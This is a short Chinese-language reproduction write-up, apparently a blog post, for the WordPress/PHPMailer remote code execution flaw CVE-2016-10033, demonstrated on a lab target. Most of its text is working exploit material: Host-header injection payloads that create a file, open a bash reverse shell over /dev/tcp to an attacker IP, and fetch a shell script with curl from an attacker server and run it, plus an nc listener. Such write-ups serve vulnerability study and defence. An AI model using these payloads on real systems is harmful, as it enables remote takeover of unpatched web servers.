漏洞复现 wordpress 远程代码执行 (CVE-2016-10033)
名称:
WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台。WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
复现过程
1、打开靶场:2、找到登录页面:
3、假设我们知道存在的真实用户名,admin 进入漏洞页面
4、点击Get new passwd并使用BP抓包,修改host的值为:
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}}
5、放包后,可看到靶机相应目录生成了succes文件
6、反弹shell原命令:
target(any -froot@localhost -be ${run{bash -i >& /dev/tcp/192.168.245.128/4444 0>&1}} null)
注:特殊字符不能执行,只能转换成空格和 / 来执行,所以要分以下几个步骤:
(1)、开启http服务器,用来wget脚本
python3 http.server 80
(2)、下载我们的反弹shell脚本
target(any -froot@localhost -be ${run{/usr/bin/curl -o/tmp/shell 192.168.30.129/shell.sh}} null)
(3)、执行/tmp下的shell脚本:
target(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
(4)、nc监听相对应端口
nc -lvvp 4444
(5)、替换后需要抓包修改host值,发送下面两条命令:
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.30.129${substr{0}{1}{$spool_directory}}shell.sh}} null)
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
最后点个赞吧!!!!
参考链接:
https://www.cnblogs.com/ssooking/p/8893264.html
http://paper.seebug.org/161/